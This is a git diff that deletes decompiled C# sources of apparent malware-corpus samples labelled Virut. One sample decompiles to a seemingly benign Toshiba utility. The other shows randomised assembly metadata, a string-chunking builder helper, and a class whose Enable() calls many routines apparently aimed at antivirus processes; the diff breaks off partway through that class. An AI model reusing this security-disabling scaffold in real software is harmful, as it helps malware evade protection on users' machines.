a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Virus.Win32.Virut.ce.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 11.00 -# Visual Studio 2010 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SnipeInject V3", "Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.csproj", "{84D461DF-952D-468F-B553-3781AC011CF1}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {84D461DF-952D-468F-B553-3781AC011CF1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {84D461DF-952D-468F-B553-3781AC011CF1}.Debug|Any CPU.Build.0 = Debug|Any CPU - {84D461DF-952D-468F-B553-3781AC011CF1}.Release|Any CPU.ActiveCfg = Release|Any CPU - {84D461DF-952D-468F-B553-3781AC011CF1}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/AssemblyInfo.cs deleted file mode 100644 index b260f9c4..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("Toshiba Corporation")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("ConfigFree function enabler")] -[assembly: AssemblyProduct("cfFncEnabler")] -[assembly: AssemblyCopyright("Copyright © Toshiba 2008")] -[assembly: AssemblyTitle("cfFncEnabler")] -[assembly: ComVisible(false)] -[assembly: Guid("4abcf488-8562-4dcd-9e89-a83d0e7243ca")] -[assembly: AssemblyFileVersion("1.0.0.18")] -[assembly: AssemblyVersion("1.0.0.18")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.cs deleted file mode 100644 index 944456f1..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.cs +++ /dev/null @@ -1,382 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: cfFncEnabler.Form1 -// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null -// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe - -using Microsoft.Win32; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Management; -using System.Net.NetworkInformation; -using System.Runtime.InteropServices; -using System.ServiceProcess; -using System.Threading; -using System.Windows.Forms; - -namespace cfFncEnabler -{ - public class Form1 : Form - { - private bool bRunningWinSidebar; - private bool bRunningGglSidebar; - private int nCount; - private IContainer components; - private System.Windows.Forms.Timer timer1; - private TextBox myTextBox; - private Button button1; - - public Form1() - { - this.InitializeComponent(); - this.myTextBox.Text = "TOSHIBA ConfigFree WPS/Sidebar gadgets enabler version 1.0.0.14.\r\n"; - } - - private void Form1_Load(object sender, EventArgs e) - { - try - { - Hashtable hashtable = new Hashtable(); - try - { - ManagementScope scope = new ManagementScope("root\\cimv2"); - scope.Connect(); - ObjectQuery query = new ObjectQuery("select ProductName,PNPDeviceID from Win32_NetworkAdapter"); - ManagementObjectCollection objectCollection = new ManagementObjectSearcher(scope, query).Get(); - foreach (NetworkInterface networkInterface in NetworkInterface.GetAllNetworkInterfaces()) - { - if (networkInterface.NetworkInterfaceType == NetworkInterfaceType.Wireless80211) - { - foreach (ManagementObject managementObject in objectCollection) - { - if (networkInterface.Description.ToString().Contains(managementObject.GetPropertyValue("ProductName").ToString())) - { - if (managementObject.GetPropertyValue("PNPDeviceID") != null) - { - hashtable.Add((object) managementObject.GetPropertyValue("PNPDeviceID").ToString(), (object) managementObject.GetPropertyValue("PNPDeviceID").ToString().Substring(4, 8)); - } - else - { - if (managementObject.GetPropertyValue("ProductName").ToString().Contains("Atheros")) - hashtable.Add((object) "PCI\\VEN_168C\\NULL", (object) "VEN_168C"); - if (managementObject.GetPropertyValue("ProductName").ToString().Contains("Realtek")) - hashtable.Add((object) "PCI\\VEN_10EC\\NULL", (object) "VEN_10EC"); - } - } - } - } - } - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, "cfFncEnabler", "scope.Connect():" + ex.Message); - } - try - { - string subkey = "SOFTWARE\\TOSHIBA\\ConfigFree\\"; - RegistryKey subKey = Registry.CurrentUser.CreateSubKey(subkey); - foreach (DictionaryEntry dictionaryEntry in hashtable) - { - if (dictionaryEntry.Value.ToString().CompareTo((string) null) != 0) - { - switch (dictionaryEntry.Value.ToString()) - { - case "VEN_168C": - ServiceController serviceController = new ServiceController("jswpsapi"); - try - { - if (serviceController.Status == ServiceControllerStatus.ContinuePending || serviceController.Status == ServiceControllerStatus.Paused || serviceController.Status == ServiceControllerStatus.PausePending || serviceController.Status == ServiceControllerStatus.Running || serviceController.Status == ServiceControllerStatus.StartPending || serviceController.Status == ServiceControllerStatus.Stopped || serviceController.Status == ServiceControllerStatus.StopPending) - { - subKey.SetValue("EnableWPS", (object) 1); - goto label_36; - } - else - { - subKey.SetValue("EnableWPS", (object) 0); - goto label_36; - } - } - catch (Exception ex) - { - this.ndsDBGError(1, 0, "cfWPSEnabler", ex.Message); - subKey.SetValue("EnableWPS", (object) 0); - goto label_36; - } - case "VID_0BDA": - case "VEN_10EC": - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - string str1 = Path.GetDirectoryName(folderPath) + "\\SysWOW64"; - string str2 = "\\RtlLib.dll"; - if (File.Exists(folderPath + str2) || File.Exists(str1 + str2)) - { - subKey.SetValue("EnableWPS", (object) 3); - goto label_36; - } - else - { - subKey.SetValue("EnableWPS", (object) 0); - goto label_36; - } - default: - subKey.SetValue("EnableWPS", (object) 0); - continue; - } - } - } -label_36: - subKey.Close(); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, "cfFncEnabler", "Registry.CurrentUser.CreateSubKey" + ex.Message); - } - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, "cfFncEnabler", "IPGlobalProperties:" + ex.Message); - } - if (Environment.OSVersion.Version.Major < 6 || Environment.OSVersion.Version.Minor < 1) - return; - string subkey1 = "SOFTWARE\\TOSHIBA\\ConfigFree\\"; - RegistryKey subKey1 = Registry.CurrentUser.CreateSubKey(subkey1); - try - { - subKey1.SetValue("EnableWPS", (object) 0); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (Form1_Load), "Registry.CurrentUser.CreateSubKey(rKeyName):" + ex.Message); - } - subKey1.Close(); - } - - private void timer1_Tick(object sender, EventArgs e) - { - int num1 = 0; - string name = "SOFTWARE\\Wow6432Node\\TOSHIBA\\ConfigFree\\"; - string str1 = "SOFTWARE\\TOSHIBA\\ConfigFree\\"; - if (this.nCount >= 4) - { - this.timer1.Stop(); - this.ndsDBGError(1, -1, nameof (timer1_Tick), "timer1 is timeout.:"); - num1 = 1; - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(str1); - try - { - registryKey = Registry.CurrentUser.CreateSubKey(str1); - registryKey.SetValue("GadgetsConfigured", (object) num1); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.CreateSubKey(rKeyName):" + ex.Message); - } - registryKey.Close(); - Environment.Exit(0); - } - if (Process.GetProcessesByName("sidebar").Length > 0) - { - this.bRunningWinSidebar = true; - this.myTextBox.Text = "Windows Sidebar is running.\r\n"; - } - if (Process.GetProcessesByName("GoogleDesktop").Length > 0) - { - this.bRunningGglSidebar = true; - this.myTextBox.Text = "Google Sidebar is running.\r\n"; - } - bool flag = Marshal.SizeOf((object) IntPtr.Zero) == 8; - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(str1); - try - { - num1 = (int) registryKey.GetValue("GadgetsConfigured"); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.OpenSubKey(rKeyName):nGadgetsConfigured:" + ex.Message); - } - finally - { - registryKey.Close(); - } - int num2 = 2; - try - { - registryKey = !flag ? Registry.LocalMachine.OpenSubKey(str1) : Registry.LocalMachine.OpenSubKey(name); - num2 = (int) registryKey.GetValue("EnableGadgets", (object) 2); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.LocalMachine.OpenSubKey(rKeyName):nEnableGadgets:" + ex.Message); - } - finally - { - registryKey.Close(); - } - if (num1 == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); - string str2 = folderPath + " (x86)"; - string str3 = "\\Windows Sidebar\\sidebar.exe"; - string str4 = "\\TOSHIBA\\ConfigFree\\"; - if (this.bRunningWinSidebar) - { - if (num2 != 2) - { - try - { - foreach (Process process in Process.GetProcessesByName("sidebar")) - { - try - { - process.Kill(); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, "cfFncEnabler", "p.Kill():" + ex.Message); - } - } - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, "cfFncEnabler", "p.Kill():" + ex.Message); - } - } - } - try - { - if (num2 != 2) - { - if (flag) - { - Process.Start("\"" + str2 + str4 + "AddGadget.exe\"", "-add \"" + str2 + str4 + "SrcSetting.ini\""); - this.myTextBox.Text += "AddGadget.exe registered (x64)\r\n"; - num1 = 1; - this.timer1.Stop(); - } - else - { - Process.Start("\"" + folderPath + str4 + "AddGadget.exe\"", "-add \"" + folderPath + str4 + "SrcSetting.ini\""); - this.myTextBox.Text += "AddGadget.exe registered (x86)\r\n"; - num1 = 1; - this.timer1.Stop(); - } - } - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (timer1_Tick), "System.Diagnostics.Process.Start:Enable:" + ex.Message); - } - try - { - registryKey = Registry.CurrentUser.CreateSubKey(str1); - registryKey.SetValue("GadgetsConfigured", (object) num1); - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.CreateSubKey(rKeyName):" + ex.Message); - } - finally - { - registryKey.Close(); - } - if (num2 == 1) - { - if (this.bRunningWinSidebar) - { - if (!this.bRunningGglSidebar) - { - Thread.Sleep(500); - Process.Start("\"" + folderPath + str3 + "\""); - } - } - } - } - else - this.myTextBox.Text = "Gadget setting has already done.\r\n"; - } - catch (Exception ex) - { - this.ndsDBGError(1, -1, nameof (timer1_Tick), "Registry.CurrentUser.CreateSubKey(2):" + ex.Message); - } - if (num1 == 1) - { - TextBox textBox = this.myTextBox; - textBox.Text = textBox.Text + this.nCount.ToString() + "Exit.\r\n"; - Environment.Exit(0); - } - TextBox textBox1 = this.myTextBox; - textBox1.Text = textBox1.Text + this.nCount.ToString() + ": timer1_Tick finished.\r\n"; - ++this.nCount; - } - - private void ndsDBGError(int i, int err, string function, string error) - { - if (i == 1) - { - string str = "Warining:"; - Trace.WriteLine(str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")"); - TextBox textBox = this.myTextBox; - textBox.Text = textBox.Text + str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")\r\n"; - } - else - { - string str = "Fatal:"; - Trace.WriteLine(str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")"); - TextBox textBox = this.myTextBox; - textBox.Text = textBox.Text + str + "\"" + error + "\" in " + function + "(" + err.ToString() + ")\r\n"; - } - } - - private void button1_Click(object sender, EventArgs e) => this.Close(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - this.components = (IContainer) new Container(); - this.timer1 = new System.Windows.Forms.Timer(this.components); - this.myTextBox = new TextBox(); - this.button1 = new Button(); - this.SuspendLayout(); - this.timer1.Enabled = true; - this.timer1.Interval = 3000; - this.timer1.Tick += new EventHandler(this.timer1_Tick); - this.myTextBox.Location = new Point(12, 12); - this.myTextBox.Multiline = true; - this.myTextBox.Name = "myTextBox"; - this.myTextBox.ScrollBars = ScrollBars.Vertical; - this.myTextBox.Size = new Size(560, 210); - this.myTextBox.TabIndex = 0; - this.button1.Location = new Point(497, 228); - this.button1.Name = "button1"; - this.button1.Size = new Size(75, 23); - this.button1.TabIndex = 1; - this.button1.Text = "OK"; - this.button1.UseVisualStyleBackColor = true; - this.button1.Click += new EventHandler(this.button1_Click); - this.AutoScaleDimensions = new SizeF(6f, 12f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(584, 263); - this.Controls.Add((Control) this.button1); - this.Controls.Add((Control) this.myTextBox); - this.Name = nameof (Form1); - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.Text = "cfFncEnabler"; - this.WindowState = FormWindowState.Minimized; - this.Load += new EventHandler(this.Form1_Load); - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Program.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Program.cs deleted file mode 100644 index 64df97ba..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: cfFncEnabler.Program -// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null -// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe - -using System; -using System.Windows.Forms; - -namespace cfFncEnabler -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.cs deleted file mode 100644 index 035c61bf..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: cfFncEnabler.Properties.Resources -// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null -// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace cfFncEnabler.Properties -{ - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [CompilerGenerated] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (cfFncEnabler.Properties.Resources.resourceMan == null) - cfFncEnabler.Properties.Resources.resourceMan = new ResourceManager("cfFncEnabler.Properties.Resources", typeof (cfFncEnabler.Properties.Resources).Assembly); - return cfFncEnabler.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => cfFncEnabler.Properties.Resources.resourceCulture; - set => cfFncEnabler.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.resx b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Settings.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Settings.cs deleted file mode 100644 index 37256675..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: cfFncEnabler.Properties.Settings -// Assembly: cfFncEnabler, Version=1.0.0.18, Culture=neutral, PublicKeyToken=null -// MVID: 332E9E14-3026-4FC8-B925-0BA2C251918E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace cfFncEnabler.Properties -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.csproj b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.csproj deleted file mode 100644 index 7fc3692d..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.csproj +++ /dev/null @@ -1,51 +0,0 @@ - - - - - Debug - AnyCPU - {2913AEE4-BF90-478F-9042-DF69544C4ECC} - WinExe - cfFncEnabler - 1.0.0.18 - cfFncEnabler - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.sln b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.sln deleted file mode 100644 index a89b2149..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee/Virus.Win32.Virut.ce.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "cfFncEnabler", "Virus.Win32.Virut.ce-bb6bf5a81e7ce35327253fa15ae76b9f32a2dfb7c0def1083789e9ea135c25ee.csproj", "{2913AEE4-BF90-478F-9042-DF69544C4ECC}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2913AEE4-BF90-478F-9042-DF69544C4ECC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2913AEE4-BF90-478F-9042-DF69544C4ECC}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2913AEE4-BF90-478F-9042-DF69544C4ECC}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2913AEE4-BF90-478F-9042-DF69544C4ECC}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/AssemblyInfo.cs deleted file mode 100644 index 76752aa3..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/AssemblyInfo.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyCopyright("xSPbVCJQBPpfPCoR")] -[assembly: AssemblyDescription("TedybRsjgpokUvsAHMYaBMSsGruyv")] -[assembly: AssemblyTitle("jseEiuRiWjuDNIfRFtRiZFMfRFr")] -[assembly: AssemblyTrademark("axkjxNLMMEpAjwSgzNqNVqywRooE")] -[assembly: AssemblyProduct("JCGLNbNBiQiAK")] -[assembly: AssemblyCompany("yDVejtAJsxldpoueOZp")] -[assembly: AssemblyFileVersion("299.911.668.179")] -[assembly: AssemblyVersion("830.23.182.254")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/CD.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/CD.cs deleted file mode 100644 index 4a11bb9d..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/CD.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CD -// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null -// MVID: 3AB55594-508F-4214-AA1C-DD579280B133 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe - -using System; -using System.Text; - -public class CD -{ - public static string format(string input) - { - StringBuilder stringBuilder = new StringBuilder(); - string[] strArray = CD.SplitString(input, 50000L); - int num = checked (strArray.Length - 1); - int index = 0; - while (index <= num) - { - if (index == checked (strArray.Length - 1)) - stringBuilder.Append("\"" + strArray[index] + "\""); - else - stringBuilder.Append("\"" + strArray[index] + "\" & _\r\n"); - checked { ++index; } - } - return stringBuilder.ToString(); - } - - private static string[] SplitString(string input, long partsize) - { - long num1 = checked ((long) Math.Round(Math.Ceiling(unchecked ((double) input.Length / (double) partsize)))); - string[] strArray = new string[checked ((int) (num1 - 1L) + 1)]; - long sourceIndex = 0; - int num2 = checked ((int) (num1 - 1L)); - int index = 0; - while (index <= num2) - { - if ((long) index == checked (num1 - 1L)) - { - char[] destination = new char[checked ((int) ((long) input.Length - sourceIndex - 1L) + 1)]; - input.CopyTo(checked ((int) sourceIndex), destination, 0, checked ((int) ((long) input.Length - sourceIndex))); - strArray[index] = Convert.ToString(new string(destination)); - } - else - { - char[] destination = new char[checked ((int) (partsize - 1L) + 1)]; - input.CopyTo(checked ((int) sourceIndex), destination, 0, checked ((int) partsize)); - strArray[index] = Convert.ToString(new string(destination)); - checked { sourceIndex += partsize; } - } - checked { ++index; } - } - return strArray; - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Daanteys.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Daanteys.cs deleted file mode 100644 index cf0d2741..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d/Daanteys.cs +++ /dev/null @@ -1,389 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Daanteys -// Assembly: 3, Version=830.23.182.254, Culture=neutral, PublicKeyToken=null -// MVID: 3AB55594-508F-4214-AA1C-DD579280B133 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-c41c86f44216c3054b1e45e53e91cc0e9df01ff509ab0ed824899d4e8d19800d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -public class Daanteys -{ - public static void Enable() - { - Daanteys.mofa(); - Daanteys.aag(); - Daanteys.aas(); - Daanteys.aav(); - Daanteys.aavg(); - Daanteys.abg(); - Daanteys.acav(); - Daanteys.ac(); - Daanteys.aen32(); - Daanteys.ae(); - Daanteys.afprot6(); - Daanteys.ak(); - Daanteys.ama(); - Daanteys.an(); - Daanteys.aos(); - Daanteys.aop(); - Daanteys.apc(); - Daanteys.asp(); - Daanteys.ass(); - Daanteys.ate(); - Daanteys.avp(); - Daanteys.aza(); - } - - public static void asb(Form frmSelect) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - if (!frmSelect.Text.Contains("#")) - goto label_9; -label_2: - num3 = 3; - frmSelect.Close(); - ProjectData.EndApp(); - goto label_9; -label_4: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - case 5: - case 6: - goto label_9; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static void ama() - { - Process[] processes = 